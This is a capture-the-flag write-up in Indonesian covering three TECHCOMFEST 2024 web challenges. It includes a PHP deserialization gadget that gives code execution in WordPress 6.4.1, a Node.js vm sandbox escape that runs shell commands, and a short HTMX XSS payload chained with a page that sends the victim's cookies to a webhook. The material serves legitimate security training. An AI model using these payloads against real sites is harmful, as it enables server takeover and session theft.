TECHCOMFEST 2024

Participate with team Shelltatic

Name
Category
Vuln

pressword

Web Exploitation

Deserialization, RCE

yo nda tau

Web Exploitation

RCE, OOB

Kepepet

Web Exploitation

XSS

pressword

Attachment

File Attachment

Description

Author: Dimas

Wordpress baru saja melakukan patch terbaru, tapi sayangnya website saya nda bisa di update :( (sad hackerika noise...)

Summary

Pada challenge ini diberikan sebuah website Wordpress yang memiliki kerentanan pada Insecure Deserialization pada plugin yang dibuat author, dan terdapat sebuah Object Class yang rentan terhadap unserialize yang menyebabkan arbitrary code execution.

Solution

Pada file attachment file entrypoint.sh terlihat ada sebuah plugin yang diinstall

entrypoint.sh

Lanjut, kemudian cek source code dari plugin mac yang diinstall tersebut, yaitu ada pada path wp-contents/plugins/malc/malc.php, plugin ini merupakan buatan dari author soal.

Plugin ini akan melakukan register endpoint REST API baru melalui function register_rest_endpoints.

public function register_rest_endpoints()
{
    register_rest_route('malc/v1', '/handle_data', array(
        'methods' => 'POST',
        'callback' => array($this, 'rest_handle_data'),
    ));
}

Untuk mengakses endpoint tersebut dapat melalui <host>/wp-json/malc/v1/handle_data, selanjutnya terlihat ada callback yang memanggil function rest_handle_data.

public function rest_handle_data(WP_REST_Request $data)
{
    $key = $data->get_json_params()['key'];
    $code = $data->get_json_params()['code'];

    if ($key && $code) {
        $processed_data = maybe_unserialize($code);

        if ($processed_data !== false) {
            // not implemented yet
            // $this->update_option($key, $processed_data);

            return rest_ensure_response([
                'message' => 'Data successfully processed and stored!',
                'result' => $processed_data,
            ]);
        } else {
            return $this->error_response('Invalid data');
        }
    }

    return $this->error_response('Key or data parameter is missing');
}

Terlihat bahwa handle tersebut akan mengambil query params key dan code dimana pada query params code akan dimasukkan pada function maybe_unserialize function tersebut akan memproses serialize object dan mengembalikan hasil unserialize nya. Hal ini bisa mengindikasikan bahwa dapat terjadi Insecure Deserialization.

Selanjutnya adalah mencari Object Class yang dapat digunakan untuk melakukan arbitrary code execution, seperti pada deskripsi soal sepertinya wordpress yang digunakan adalah versi wordpress yang seharusnya sudah ter-patch namun belum diupdate.

Chip of code Dockerfile - Install Wordpress

Versi yang digunakan adalah versi 6.4.1 dan versi terbaru nya saat challenge ini dibuat adalah versi 6.4.2. Selanjutnya adalah mencari bagian kode mana yang telah dipatch yang berhubungan dengan serialization.

Membandingkan Tag version 6.4.1 dan Tag version 6.4.2 pada github repository Wordpress akan terlihat bagian mana yang telah dipatch

Diff compare Tag 6.4.1 vs Tag 6.4.2 Wordpress

Terlihat bahwa ada tambahan kode baru pada patch file class-wp-html-token.php yaitu terdapat magic function __wakeup yang akan mencegah terjadinya unserialize pada Object Class tersebut.

Setelah melihat lebih lanjut, ada bagian kode yang menarik yaitu pada magic function __destruct

public function __destruct() {
	if ( is_callable( $this->on_destroy ) ) {
		call_user_func( $this->on_destroy, $this->bookmark_name );
	}
}

Terjadi eksekusi kode call_user_func yang argumentnya dapat diatur sendiri, sepertinya ini bisa dimanfaatkan, karena magic function __destruct akan terpanggil ketika melakukan unserialize object.

Berikut adalah crafting untuk serialize object yang akan digunakan untuk melakukan RCE

<?php
class WP_HTML_Token
{
  public $bookmark_name = null;
  public $node_name = null;
  public $has_self_closing_flag = false;
  public $on_destroy = null;
}
$x = new WP_HTML_Token();
$x->bookmark_name = 'id'; // sesuaikan command yang digunakan
$x->on_destroy = 'system';
$ser = serialize($x);
echo $ser;

Selanjutnya jalankan kode, dan lalu ambil object serialize untuk digunakan pada query params pada api yang vulnerable sebelumnya.

Run solver code

Lakukan request pada endpoint api tadi

Sample request

Dan berhasil, terlihat bahwa eksekusi command telah berhasil, lalu hanya tinggal sesuaikan command yang akan dieksekusi pada object serialize, hingga mendapatkan flagnya

Get the Flag

Flag

TCF2024{wordpress_unserialize_to_rce_on_version_6.4.0+_wink...}

yo nda tau

Attachment

File Attachment

Description

Author: Dimas

Yo nda tau...

Note: This challenge uses a read-only file system, so you can't write anything into the file system.

Summary

Pada challenge ini diharuskan untuk melakukan escaping nodejs sandbox, yaitu escape dari context execution pada vm module nodejs.

Solution

Pada file index.js dari attachment yang diberikan ada konfigurasi handle route yang dapat melakukan sebuah eksekusi kode, berikut isi file tersebut

// index.js
import express from 'express';
import { runInNewContext } from 'vm';

const app = express();

app.get('/', async (req, res) => {
  const run = req.query?.run;
  if (!run) return res.sendfile('index.html');
  if (!(typeof run === 'string')) return res.send('wrong');
  try {
    const code = runInNewContext(run, { query: req.query });
    return res.send(await code?.toString());
  } catch (e) {
    console.error(e);
    return res.send(e?.toString());
  }
});

app.listen(80, () => {
  console.log('application running');
});

Handler tersebut akan mengambil query params dengan nama run untuk dieksekusi pada context lain menggunakan function runInNewContext, lalu akan mengambalikan outputnya kedalam response.

Sample Request

Ketika dicoba pun berhasil, selanjutnya adalah mencoba apakah langsung bisa untuk mengakses global module seperti menggunakan require

Ternyata error dan require tidak dapat diakses, sepertinya ini memang ada limit akses terhadap global module, coba kita periksa available object atau module yang ada pada context ini

Ternyata memang hanya basic object yang ada pada default nya, oke kita akan coba melakukan recover beberapa hal yang mungkin bisa, yaitu menggunakan constructor dari non primitive object, seperti berikut

this.constructor.constructor('return Object.getOwnPropertyNames(this)')()

Dah berhasil, mendapatkan lebih banyak object class yang ada, dan dari sini ada sebuah object yang menarik yaitu process

Coba kita akan melihat sub object apa saja yang ada dalam object process tersebut

this.constructor.constructor('return Object.getOwnPropertyNames(process)')()

Ternyata tidak ada object mainModule pada object process tersebut, yang biasanya ini dapat digunakan untuk melakukan recover global module yang ada.

Namun, disini masih terdapat binding value atau function pada object process tersebut, dimana ini dimanfaatkan untuk melakukan native code nodejs execution, salah satunya adalah melakukan binding module spawn_sync yang nantinya dapat dimanfaatkan untuk melakukan RCE, kita coba

this.constructor.constructor('return process.binding')()('spawn_sync').spawn

Dan it's works, tinggal kita lengkapi pemanggilan kode tersebut agar dapat melakukan spawn shell dan melakukan RCE.

Untuk dapat mengakses dan melakukan kontrol pada shell dan juga melakukan capture output dari spawn yang telah dilakukan, dapat menggunakan kode berikut

this.constructor
  .constructor('return process')()
  .binding('spawn_sync')
  .spawn({
    args: ['/bin/bash', '-c', 'id'], // sesuaikan command nya
    file: '/bin/bash',
    stdio: [
      { type: 'pipe', readable: !0, writable: !1 },
      { type: 'pipe', readable: !1, writable: !0 },
      { type: 'pipe', readable: !1, writable: !0 },
    ],
  })
  .output[1].toString();
RCE

Oke berhasil untuk mendapatkan RCE, selanjutnya kita dapat kontrol command - commandnya hingga mendapatkan flag.

Get the Flag

Flag

TCF2024{gadget_object_from_different_context_is_realy_usefull:)}

Challenge Kepepet

Description

Author: Dimas

Maybe this code will help you exploiting the challenge

fn note_logic(mut note: FormNote) -> Response {
    let mut res = Response::new(200);
    if note.value.len() > 26 {
        res.set_status(302);
        utils::RQ::redirect(&mut res, "/note");
        return Ok(res);
    }
    let safe = ammonia::Builder::new()
        .add_generic_attribute_prefixes(&["hx-"])
        .rm_tags(&["script"])
        .clean(&note.value)
        .to_string();
    note.value = safe;
    if note.path.is_empty() {
        note.path = Uuid::new_v4().to_string();
    }
    let id = db::append(db::Note {
        id: note.path,
        value: note.value,
    })
    .expect("Something Wrong");
    utils::RQ::redirect(&mut res, format!("/note/{}", id));
    Ok(res)
}

Bot configuration

environment:
  APPNAME: Admin
  APPURL: http://app:8080/
  APPURLREGEX: ^.*$
  APPFLAG: fake{flag}
  APPLIMIT: 2
  APPLIMITTIME: 60

Summary

Target dari challenge ini adalah untuk mendapatkan sebuah XSS, dimana dengan teknik untuk dapat melakukan minify payload XSS yang digunakan. Untuk hal ini XSS dapat dilakukan menggunakan tools yang baru saja muncul yaitu HTMX, dimana dapat memanfaatkan triggering event yaitu hx-on::load, karena penggunaan attribute hx tidak dibatasi sesuai dengan source code.

Solution

Dengan melihat snippet source code yang diberikan, sudah sangat jelas bahwa pertama dilakukan sebuah validasi input yang dimasukkan tidak dapat lebih dari 26 karakter.

Lalu, selanjutnya terdapat sanitasi input yang dimasukkan dengan tujuan untuk melakukan sanitasi script - script atau kode XSS. Pada sanitasi tersebut, terlihat bahwa ada yang unik, pada bagian berikut:

.add_generic_attribute_prefixes(&["hx-"])

Dimana kode tersebut bertujuan untuk meng-ignore attribute html yang berawalan dari hx- agar tidak disanitasi, ini artinya kemungkinan dapat memanfaatkan HTMX untuk melakukan XSS.

Selanjutnya, analisa pada bagian source code html nya, pada bagian berikut adalah kode dimana halaman tersebut melakukan rendering konten yang sudah diinput oleh user

snip source code get note

Terlihat bahwa sebenarnya konten akan difetching dahulu melalui dari API, yaitu dengan memanfaatkan tools HTMX, lalu setelah berhasil fetching konten akan dirender atau diswap pada element tersebut, artinya ada sebuah konten baru yang dimasukkan ke dalam DOM saat ini oleh HTMX tersebut.

Jika melihat reference event dari HTMX pada link berikut https://htmx.org/events, ada 1 event yang akan tertrigger ketika ada sebuah konten baru yang dimasukkan kedalam DOM, yaitu event htmx:load, dijelaskan sebagai berikut

Sepertinya ini dapat dimanfaatkan untuk melakukan trigger XSS, oke let's try dengan payload sebagai berikut:

<div hx-on:htmx:load="alert(1)"></div> // panjang 38

Payload diatas masih terlalu panjang, mari kita buat lebih singkat lagi

<b hx-on:htmx:load="alert(1)"> // panjang 30

Masih belum cukup, sebenarnya prefix htmx bisa dihilangkan sehingga menjadi sebagai berikut

<b hx-on::load="alert(1)"> // panjang 26

Oke dengan payload diatas sudah sesuai, yaitu panjangnya 26 karakter, kita coba masukkan ke web nya

Input payload

Kemudian submit payload tersebut, dan maka akan tampil XSS seperti berikut

XSS Result

Selanjutnya adalah bagaimana cara untuk dapat mengambil cookie dari bot yang diberikan, karena tentu saja payload nya akan sangat panjang dan tidak akan cukup.

Pada konfigurasi bot nya, url yang dimasukkan dapat dari mana saja dan tidak dibatasi, hal ini bisa kita manfaatkan untuk menggunakan global variable window.name atau bisa langsung diakses name karena ini adalah global.

Sehingga, bisa dilakukan eval sesuai dengan value window.name tersebut, payload nya sebagai berikut

<b hx-on::load=eval(name)> // panjang 26

Payload diatas adalah payload yang paling pendek saat ini, yaitu 26 karakter panjangnya, oke dengan payload diatas kita dapat mengatur value name dari origin lain untuk melakukan set name dari window tersebut.

Dengan payload sebagai berikut untuk diletakkan pada server lain atau origin lain dimana akan divisit oleh bot nya:

<!DOCTYPE html>
<html>
  <head>
    <title>Document</title>
  </head>
  <body>
    <script>
      open(
        'http://app:8080/note/<id_note>',
        "location.replace('<webhook>?c='+document.cookie)"
      );
    </script>
  </body>
</html>

Karena bot diconfig pada origin url app:8080, maka linknya diarahkan ke origin tersebut

Oke, semua sudah siap, mari kita exploit

  1. Send payload XSS

Exploit Payload
  1. Host third party script html ke server kita, atau yang lain

Host third html payload
  1. Masukkan link host tersebut ke bot, kemudian visit

visit bot

Setelah 3 step diatas selesai, tunggu hasilnya pada webhook

Webhook Result

Dan berhasil.

Flag

TCF2024{mini_xss_using_httpx,_how_far_you_can_minify_it?_dm_me}

Last updated